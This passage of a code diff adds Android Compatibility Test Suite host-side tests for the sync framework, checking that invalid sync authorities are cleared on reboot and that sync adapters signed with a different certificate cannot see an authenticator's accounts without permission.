+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src) \
+    ../appsecurity/src/android/appsecurity/cts/Utils.java
+
+LOCAL_MODULE := CtsSyncContentHostTestCases
+
+LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed compatibility-host-util
+
+LOCAL_CTS_TEST_PACKAGE := android.content
+
+LOCAL_COMPATIBILITY_SUITE := cts
+
+include $(BUILD_CTS_HOST_JAVA_LIBRARY)
+
+include $(call all-makefiles-under,$(LOCAL_PATH)/test-apps)
diff --git a/hostsidetests/content/AndroidTest.xml b/hostsidetests/content/AndroidTest.xml
new file mode 100644
index 0000000..accf2a5
--- /dev/null
+++ b/hostsidetests/content/AndroidTest.xml
@@ -0,0 +1,22 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2016 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for the CTS Content host tests">
+    <option name="config-descriptor:metadata" key="component" value="framework" />
+    <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
+        <option name="jar" value="CtsSyncContentHostTestCases.jar" />
+        <option name="runtime-hint" value="2m" />
+    </test>
+</configuration>
diff --git a/hostsidetests/content/src/android/content/cts/InvalidSyncAuthoritiesHostTest.java b/hostsidetests/content/src/android/content/cts/InvalidSyncAuthoritiesHostTest.java
new file mode 100644
index 0000000..ebffbe6
--- /dev/null
+++ b/hostsidetests/content/src/android/content/cts/InvalidSyncAuthoritiesHostTest.java
@@ -0,0 +1,79 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.content.cts;
+
+import android.appsecurity.cts.Utils;
+import android.platform.test.annotations.SecurityTest;
+
+import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.log.LogUtil;
+import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.tradefed.testtype.IBuildReceiver;
+
+/**
+ * Tests that invalid authorities are cleared from the sync data files on boot.
+ * Otherwise a malicious app can effectively DOS the filesystem and the user can only get out of it
+ * via a factory reset.
+ */
+@SecurityTest
+public class InvalidSyncAuthoritiesHostTest extends DeviceTestCase implements IBuildReceiver {
+
+    private static final String DEVICE_TEST_PACKAGE = "android.content.sync.cts";
+    private static final String DEVICE_TEST_CLASS = ".InvalidSyncAuthoritiesDeviceTest";
+    private static final String DEVICE_TEST_APK = "CtsSyncInvalidAccountAuthorityTestCases.apk";
+
+    private CompatibilityBuildHelper mBuildHelper;
+
+    @Override
+    public void setBuild(IBuildInfo iBuildInfo) {
+        mBuildHelper = new CompatibilityBuildHelper(iBuildInfo);
+    }
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        getDevice().uninstallPackage(DEVICE_TEST_PACKAGE);
+
+        assertNull(getDevice().installPackage(mBuildHelper.getTestFile(DEVICE_TEST_APK), false,
+                false));
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        super.tearDown();
+        try {
+            runDeviceTests(DEVICE_TEST_PACKAGE, DEVICE_TEST_CLASS, "removeTestAccount");
+        } catch (AssertionError exc) {
+            // Test account got left on the device. This test should still pass.
+            LogUtil.CLog.w("removeTestAccount failed: " + exc.getMessage());
+        }
+        getDevice().uninstallPackage(DEVICE_TEST_PACKAGE);
+    }
+
+    public void testInvalidEntriesClearedOnBoot() throws Exception {
+        runDeviceTests(DEVICE_TEST_PACKAGE, DEVICE_TEST_CLASS, "populateAndTestSyncAutomaticallyBeforeReboot");
+        getDevice().reboot();
+        runDeviceTests(DEVICE_TEST_PACKAGE, DEVICE_TEST_CLASS, "testSyncAutomaticallyAfterReboot");
+    }
+
+    private void runDeviceTests(String packageName, String testClassName, String testMethodName)
+            throws DeviceNotAvailableException {
+        Utils.runDeviceTests(getDevice(), packageName, testClassName, testMethodName);
+    }
+}
diff --git a/hostsidetests/content/src/android/content/cts/SyncAdapterAccountAccessHostTest.java b/hostsidetests/content/src/android/content/cts/SyncAdapterAccountAccessHostTest.java
new file mode 100644
index 0000000..7207732
--- /dev/null
+++ b/hostsidetests/content/src/android/content/cts/SyncAdapterAccountAccessHostTest.java
@@ -0,0 +1,108 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.content.cts;
+
+import android.appsecurity.cts.Utils;
+import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.tradefed.testtype.IAbi;
+import com.android.tradefed.testtype.IAbiReceiver;
+import com.android.tradefed.testtype.IBuildReceiver;
+
+/**
+ * Set of tests that verify behavior of the content framework.
+ */
+public class SyncAdapterAccountAccessHostTest extends DeviceTestCase
+        implements IAbiReceiver, IBuildReceiver {
+    private static final String ACCOUNT_ACCESS_TESTS_OTHER_CERT_APK =
+            "CtsSyncAccountAccessOtherCertTestCases.apk";
+    private static final String ACCOUNT_ACCESS_TESTS_OTHER_CERT_PKG =
+            "com.android.cts.content";
+
+    private static final String ACCOUNT_ACCESS_TESTS_SAME_CERT_APK =
+            "CtsSyncAccountAccessSameCertTestCases.apk";
+    private static final String ACCOUNT_ACCESS_TESTS_SAME_CERT_PKG =
+            "com.android.cts.content";
+
+    private static final String STUBS_APK =
+            "CtsSyncAccountAccessStubs.apk";
+    private static final String STUBS_PKG =
+            "com.android.cts.stub";
+
+    private IAbi mAbi;
+    private CompatibilityBuildHelper mBuildHelper;
+
+    @Override
+    public void setAbi(IAbi abi) {
+        mAbi = abi;
+    }
+
+    @Override
+    public void setBuild(IBuildInfo buildInfo) {
+        mBuildHelper = new CompatibilityBuildHelper(buildInfo);
+    }
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        getDevice().uninstallPackage(STUBS_PKG);
+
+        assertNull(getDevice().installPackage(mBuildHelper
+                .getTestFile(STUBS_APK), false, false));
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        super.tearDown();
+        getDevice().uninstallPackage(STUBS_APK);
+    }
+
+    public void testSameCertAuthenticatorCanSeeAccount() throws Exception {
+        getDevice().uninstallPackage(ACCOUNT_ACCESS_TESTS_SAME_CERT_PKG);
+
+        assertNull(getDevice().installPackage(mBuildHelper.getTestFile(
+                ACCOUNT_ACCESS_TESTS_SAME_CERT_APK), false, false));
+        try {
+            runDeviceTests(ACCOUNT_ACCESS_TESTS_SAME_CERT_PKG,
+                    "com.android.cts.content.CtsSyncAccountAccessSameCertTestCases",
+                    "testAccountAccess_sameCertAsAuthenticatorCanSeeAccount");
+        } finally {
+            getDevice().uninstallPackage(ACCOUNT_ACCESS_TESTS_SAME_CERT_PKG);
+        }
+    }
+
+    public void testOtherCertAuthenticatorCanSeeAccount() throws Exception {
+        getDevice().uninstallPackage(ACCOUNT_ACCESS_TESTS_OTHER_CERT_PKG);
+
+        assertNull(getDevice().installPackage(mBuildHelper.getTestFile(
+                ACCOUNT_ACCESS_TESTS_OTHER_CERT_APK), false, false));
+        try {
+            runDeviceTests(ACCOUNT_ACCESS_TESTS_OTHER_CERT_PKG,
+                    "com.android.cts.content.CtsSyncAccountAccessOtherCertTestCases",
+                    "testAccountAccess_otherCertAsAuthenticatorCanNotSeeAccount");
+        } finally {
+            getDevice().uninstallPackage(ACCOUNT_ACCESS_TESTS_OTHER_CERT_PKG);
+        }
+    }
+
+    private void runDeviceTests(String packageName, String testClassName, String testMethodName)
+            throws DeviceNotAvailableException {
+        Utils.runDeviceTests(getDevice(), packageName, testClassName, testMethodName);
+    }
+}
diff --git a/hostsidetests/content/test-apps/CtsSyncAccountAccessOtherCertTests/Android.mk b/hostsidetests/content/test-apps/CtsSyncAccountAccessOtherCertTests/Android.mk
new file mode 100644
index 0000000..c9d3ec5
--- /dev/null
+++ b/hostsidetests/content/test-apps/CtsSyncAccountAccessOtherCertTests/Android.mk
@@ -0,0 +1,45 @@
+#
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests
+
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    android-support-test \
+    ctstestrunner \
+    ub-uiautomator \
+    compatibility-device-util
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src) \
+  ../CtsSyncAccountAccessSameCertTests/src/com/android/cts/content/StubActivity.java \
+  ../CtsSyncAccountAccessSameCertTests/src/com/android/cts/content/SyncAdapter.java \
+  ../CtsSyncAccountAccessSameCertTests/src/com/android/cts/content/SyncService.java \
+  ../CtsSyncAccountAccessSameCertTests/src/com/android/cts/content/FlakyTestRule.java
+
+LOCAL_PACKAGE_NAME := CtsSyncAccountAccessOtherCertTestCases
+
+LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey2
+
+LOCAL_COMPATIBILITY_SUITE := cts
+
+LOCAL_PROGUARD_ENABLED := disabled
+
+LOCAL_DEX_PREOPT := false
+
+include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/content/test-apps/CtsSyncAccountAccessOtherCertTests/AndroidManifest.xml b/hostsidetests/content/test-apps/CtsSyncAccountAccessOtherCertTests/AndroidManifest.xml
new file mode 100644
index 0000000..398a75b
--- /dev/null
+++ b/hostsidetests/content/test-apps/CtsSyncAccountAccessOtherCertTests/AndroidManifest.xml
@@ -0,0 +1,41 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2016 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+        package="com.android.cts.content">
+
+    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
+
+    <application>
+        <uses-library android:name="android.test.runner" />
+
+        <activity android:name=".StubActivity"/>
+
+        <service android:name=".SyncService">
+            <intent-filter>
+                <action android:name="android.content.SyncAdapter"/>
+            </intent-filter>
+            <meta-data android:name="android.content.SyncAdapter"
+                   android:resource="@xml/syncadapter" />
+        </service>
+
+    </application>
+
+    <instrumentation
+        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:targetPackage="com.android.cts.content" />
+
+</manifest>
diff --git a/hostsidetests/content/test-apps/CtsSyncAccountAccessOtherCertTests/res/xml/syncadapter.xml b/hostsidetests/content/test-apps/CtsSyncAccountAccessOtherCertTests/res/xml/syncadapter.xml
new file mode 100644
index 0000000..f55a19a
--- /dev/null
+++ b/hostsidetests/content/test-apps/CtsSyncAccountAccessOtherCertTests/res/xml/syncadapter.xml
@@ -0,0 +1,25 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2016 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<sync-adapter
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    android:contentAuthority="com.android.cts.stub.provider"
+    android:accountType="com.stub"
+    android:userVisible="false"
+    android:supportsUploading="false"
+    android:allowParallelSyncs="false"
+    android:isAlwaysSyncable="true">
+</sync-adapter>
diff --git a/hostsidetests/content/test-apps/CtsSyncAccountAccessOtherCertTests/src/com/android/cts/content/CtsSyncAccountAccessOtherCertTestCases.java b/hostsidetests/content/test-apps/CtsSyncAccountAccessOtherCertTests/src/com/android/cts/content/CtsSyncAccountAccessOtherCertTestCases.java
new file mode 100644
index 0000000..785711b
--- /dev/null
+++ b/hostsidetests/content/test-apps/CtsSyncAccountAccessOtherCertTests/src/com/android/cts/content/CtsSyncAccountAccessOtherCertTestCases.java
@@ -0,0 +1,185 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.content;
+
+import android.accounts.Account;
+import android.accounts.AccountManager;
+import android.app.Activity;
+import android.content.ContentProviderClient;
+import android.content.ContentResolver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.SyncRequest;
+import android.content.SyncResult;
+import android.content.cts.FlakyTestRule;
+import android.content.pm.PackageManager;
+import android.net.ConnectivityManager;
+import android.net.NetworkInfo;
+import android.os.Bundle;
+import android.os.Process;
+import android.os.SystemClock;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.runner.AndroidJUnit4;
+import android.support.test.uiautomator.By;
+import android.support.test.uiautomator.UiDevice;
+import android.support.test.uiautomator.Until;
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.rules.TestRule;
+import org.junit.runner.RunWith;
+
+import java.io.IOException;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+import static junit.framework.Assert.assertFalse;
+import static junit.framework.Assert.assertTrue;
+
+import com.android.compatibility.common.util.SystemUtil;
+
+/**
+ * Tests whether a sync adapter can access accounts.
+ */
+@RunWith(AndroidJUnit4.class)
+public class CtsSyncAccountAccessOtherCertTestCases {
+    private static final long SYNC_TIMEOUT_MILLIS = 20000; // 20 sec
+    private static final long UI_TIMEOUT_MILLIS = 5000; // 5 sec
+
+    public static final String TOKEN_TYPE_REMOVE_ACCOUNTS = "TOKEN_TYPE_REMOVE_ACCOUNTS";
+
+    @Rule
+    public final TestRule mFlakyTestRule = new FlakyTestRule(3);
+
+    @Before
+    public void setUp() throws Exception {
+        allowSyncAdapterRunInBackgroundAndDataInBackground();
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        disallowSyncAdapterRunInBackgroundAndDataInBackground();
+    }
+
+    @Test
+    public void testAccountAccess_otherCertAsAuthenticatorCanNotSeeAccount() throws Exception {
+        if (!hasDataConnection() || !hasNotificationSupport()) {
+            return;
+        }
+
+        Intent intent = new Intent(getContext(), StubActivity.class);
+        Activity activity = InstrumentationRegistry.getInstrumentation().startActivitySync(intent);
+
+        AccountManager accountManager = getContext().getSystemService(AccountManager.class);
+        Bundle result = accountManager.addAccount("com.stub", null, null, null, activity,
+                null, null).getResult();
+
+        Account addedAccount = new Account(
+                result.getString(AccountManager.KEY_ACCOUNT_NAME),
+                result.getString(AccountManager.KEY_ACCOUNT_TYPE));
+
+        waitForSyncManagerAccountChangeUpdate();
+
+        try {
+            CountDownLatch latch = new CountDownLatch(1);
+
+            SyncAdapter.setOnPerformSyncDelegate((Account account, Bundle extras,
+                    String authority, ContentProviderClient provider, SyncResult syncResult)
+                    -> latch.countDown());
+
+            Bundle extras = new Bundle();
+            extras.putBoolean(ContentResolver.SYNC_EXTRAS_DO_NOT_RETRY, true);
+            extras.putBoolean(ContentResolver.SYNC_EXTRAS_PRIORITY, true);
+            extras.getBoolean(ContentResolver.SYNC_EXTRAS_IGNORE_SETTINGS, true);
+            SyncRequest request = new SyncRequest.Builder()
+                    .setSyncAdapter(null, "com.android.cts.stub.provider")
+                    .syncOnce()
+                    .setExtras(extras)
+                    .setExpedited(true)
+                    .setManual(true)
+                    .build();
+            ContentResolver.requestSync(request);
+
+            assertFalse(latch.await(SYNC_TIMEOUT_MILLIS, TimeUnit.MILLISECONDS));
+
+            UiDevice uiDevice = getUiDevice();
+
+            uiDevice.openNotification();
+            uiDevice.wait(Until.hasObject(By.text("Permission requested")),
+                    UI_TIMEOUT_MILLIS);
+
+            uiDevice.findObject(By.text("Permission requested")).click();
+            uiDevice.wait(Until.hasObject(By.text("ALLOW")),
+                    UI_TIMEOUT_MILLIS);
+
+            uiDevice.findObject(By.text("ALLOW")).click();
+
+            ContentResolver.requestSync(request);
+
+            assertTrue(latch.await(SYNC_TIMEOUT_MILLIS, TimeUnit.MILLISECONDS));
+        } finally {
+            // Ask the differently signed authenticator to drop all accounts
+            accountManager.getAuthToken(addedAccount, TOKEN_TYPE_REMOVE_ACCOUNTS,
+                    null, false, null, null);
+        }
+    }
+
+    private Context getContext() {
+        return InstrumentationRegistry.getInstrumentation().getContext();
+    }
+
+    private UiDevice getUiDevice() {
+        return UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
+    }
+
+    private void waitForSyncManagerAccountChangeUpdate() {
+        // Wait for the sync manager to be notified for the new account.
+        // Unfortunately, there is no way to detect this event, sigh...
+        SystemClock.sleep(SYNC_TIMEOUT_MILLIS);
+    }
+
+    private boolean hasDataConnection() {
+        ConnectivityManager connectivityManager = getContext().getSystemService(
+                ConnectivityManager.class);
+        NetworkInfo activeNetwork = connectivityManager.getActiveNetworkInfo();
+        return activeNetwork != null && activeNetwork.isConnectedOrConnecting();
+    }
+
+    private boolean hasNotificationSupport() {
+        return !getContext().getPackageManager()
+                .hasSystemFeature(PackageManager.FEATURE_LEANBACK);
+    }
+
+    private void allowSyncAdapterRunInBackgroundAndDataInBackground() throws IOException {
+        // Allow us to run in the background
+        SystemUtil.runShellCommand(InstrumentationRegistry.getInstrumentation(),
+                "cmd deviceidle whitelist +" + getContext().getPackageName());
+        // Allow us to use data in the background
+        SystemUtil.runShellCommand(InstrumentationRegistry.getInstrumentation(),
+                "cmd netpolicy add restrict-background-whitelist " + Process.myUid());
+    }
+
+    private void disallowSyncAdapterRunInBackgroundAndDataInBackground() throws IOException {
+        // Allow us to run in the background
+        SystemUtil.runShellCommand(InstrumentationRegistry.getInstrumentation(),
+                "cmd deviceidle whitelist -" + getContext().getPackageName());
+        // Allow us to use data in the background
+        SystemUtil.runShellCommand(InstrumentationRegistry.getInstrumentation(),
+                "cmd netpolicy remove restrict-background-whitelist " + Process.myUid());
+    }
+}
diff --git a/hostsidetests/content/test-apps/CtsSyncAccountAccessSameCertTests/Android.mk b/hostsidetests/content/test-apps/CtsSyncAccountAccessSameCertTests/Android.mk
new file mode 100644
index 0000000..c3c7058
--- /dev/null
+++ b/hostsidetests/content/test-apps/CtsSyncAccountAccessSameCertTests/Android.mk
@@ -0,0 +1,39 @@
+#
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests
+
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    android-support-test \
+    ctstestrunner \
+    ub-uiautomator \
+    compatibility-device-util
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+LOCAL_PACKAGE_NAME := CtsSyncAccountAccessSameCertTestCases
+
+LOCAL_COMPATIBILITY_SUITE := cts
+
+LOCAL_PROGUARD_ENABLED := disabled
+
+LOCAL_DEX_PREOPT := false
+
+include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/content/test-apps/CtsSyncAccountAccessSameCertTests/AndroidManifest.xml b/hostsidetests/content/test-apps/CtsSyncAccountAccessSameCertTests/AndroidManifest.xml
new file mode 100644
index 0000000..2ecd27d
--- /dev/null
+++ b/hostsidetests/content/test-apps/CtsSyncAccountAccessSameCertTests/AndroidManifest.xml
@@ -0,0 +1,41 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2016 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+        package="com.android.cts.content">
+
+    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
+
+    <application>
+        <uses-library android:name="android.test.runner" />
+
+        <activity android:name=".StubActivity"/>
+
+        <service android:name=".SyncService">
+            <intent-filter>
+                <action android:name="android.content.SyncAdapter"/>
+            </intent-filter>
+            <meta-data android:name="android.content.SyncAdapter"
+                android:resource="@xml/syncadapter" />
+        </service>
+
+    </application>
+
+    <instrumentation
+        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:targetPackage="com.android.cts.content" />
+
+</manifest>
diff --git a/hostsidetests/content/test-apps/CtsSyncAccountAccessSameCertTests/res/xml/syncadapter.xml b/hostsidetests/content/test-apps/CtsSyncAccountAccessSameCertTests/res/xml/syncadapter.xml
new file mode 100644
index 0000000..f55a19a
--- /dev/null
+++ b/hostsidetests/content/test-apps/CtsSyncAccountAccessSameCertTests/res/xml/syncadapter.xml
@@ -0,0 +1,25 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2016 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<sync-adapter
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    android:contentAuthority="com.android.cts.stub.provider"
+    android:accountType="com.stub"
+    android:userVisible="false"
+    android:supportsUploading="false"
+    android:allowParallelSyncs="false"
+    android:isAlwaysSyncable="true">
+</sync-adapter>
diff --git a/hostsidetests/content/test-apps/CtsSyncAccountAccessSameCertTests/src/com/android/cts/content/CtsSyncAccountAccessSameCertTestCases.java b/hostsidetests/content/test-apps/CtsSyncAccountAccessSameCertTests/src/com/android/cts/content/CtsSyncAccountAccessSameCertTestCases.java
new file mode 100644
index 0000000..8dddd2d
--- /dev/null
+++ b/hostsidetests/content/test-apps/CtsSyncAccountAccessSameCertTests/src/com/android/cts/content/CtsSyncAccountAccessSameCertTestCases.java
@@ -0,0 +1,156 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.content;
+
+import static junit.framework.Assert.assertTrue;
+
+import android.accounts.Account;
+import android.accounts.AccountManager;
+import android.app.Activity;
+import android.content.ContentProviderClient;
+import android.content.ContentResolver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.SyncRequest;
+import android.content.SyncResult;
+import android.content.cts.FlakyTestRule;
+import android.content.pm.PackageManager;
+import android.net.ConnectivityManager;
+import android.net.NetworkInfo;
+import android.os.Bundle;
+import android.os.Process;
+import android.os.SystemClock;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.runner.AndroidJUnit4;
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.rules.TestRule;
+import org.junit.runner.RunWith;
+
+import java.io.IOException;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+import com.android.compatibility.common.util.SystemUtil;
+
+/**
+ * Tests whether a sync adapter can access accounts.
+ */
+@RunWith(AndroidJUnit4.class)
+public class CtsSyncAccountAccessSameCertTestCases {
+    private static final long SYNC_TIMEOUT_MILLIS = 20000; // 20 sec
+
+    @Rule
+    public final TestRule mFlakyTestTRule = new FlakyTestRule(3);
+
+    @Before
+    public void setUp() throws Exception {
+        allowSyncAdapterRunInBackgroundAndDataInBackground();
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        disallowSyncAdapterRunInBackgroundAndDataInBackground();
+    }
+
+    @Test
+    public void testAccountAccess_sameCertAsAuthenticatorCanSeeAccount() throws Exception {
+        if (!hasDataConnection() || !hasNotificationSupport()) {
+            return;
+        }
+
+        Intent intent = new Intent(getContext(), StubActivity.class);
+        Activity activity = InstrumentationRegistry.getInstrumentation().startActivitySync(intent);
+
+        AccountManager accountManager = getContext().getSystemService(AccountManager.class);
+        Bundle result = accountManager.addAccount("com.stub", null, null, null, activity,
+                null, null).getResult();
+
+        Account addedAccount = new Account(
+                result.getString(AccountManager.KEY_ACCOUNT_NAME),
+                        result.getString(AccountManager.KEY_ACCOUNT_TYPE));
+
+        waitForSyncManagerAccountChangeUpdate();
+
+        try {
+            CountDownLatch latch = new CountDownLatch(1);
+
+            SyncAdapter.setOnPerformSyncDelegate((Account account, Bundle extras,
+                    String authority, ContentProviderClient provider, SyncResult syncResult)
+                    -> latch.countDown());
+
+            Bundle extras = new Bundle();
+            extras.putBoolean(ContentResolver.SYNC_EXTRAS_DO_NOT_RETRY, true);
+            extras.putBoolean(ContentResolver.SYNC_EXTRAS_PRIORITY, true);
+            extras.getBoolean(ContentResolver.SYNC_EXTRAS_IGNORE_SETTINGS, true);
+            SyncRequest request = new SyncRequest.Builder()
+                    .setSyncAdapter(null, "com.android.cts.stub.provider")
+                    .syncOnce()
+                    .setExtras(extras)
+                    .setExpedited(true)
+                    .setManual(true)
+                    .build();
+            ContentResolver.requestSync(request);
+
+            assertTrue(latch.await(SYNC_TIMEOUT_MILLIS, TimeUnit.MILLISECONDS));
+        } finally {
+            accountManager.removeAccount(addedAccount, activity, null, null);
+        }
+    }
+
+    private Context getContext() {
+        return InstrumentationRegistry.getInstrumentation().getContext();
+    }
+
+    private void waitForSyncManagerAccountChangeUpdate() {
+        // Wait for the sync manager to be notified for the new account.
+        // Unfortunately, there is no way to detect this event, sigh...
+        SystemClock.sleep(SYNC_TIMEOUT_MILLIS);
+    }
+
+    private boolean hasDataConnection() {
+        ConnectivityManager connectivityManager = getContext().getSystemService(
+                ConnectivityManager.class);
+        NetworkInfo activeNetwork = connectivityManager.getActiveNetworkInfo();
+        return activeNetwork != null && activeNetwork.isConnectedOrConnecting();
+    }
+
+    private boolean hasNotificationSupport() {
+        return !getContext().getPackageManager()
+                .hasSystemFeature(PackageManager.FEATURE_LEANBACK);
+    }
+
+    private void allowSyncAdapterRunInBackgroundAndDataInBackground() throws IOException {
+        // Allow us to run in the background
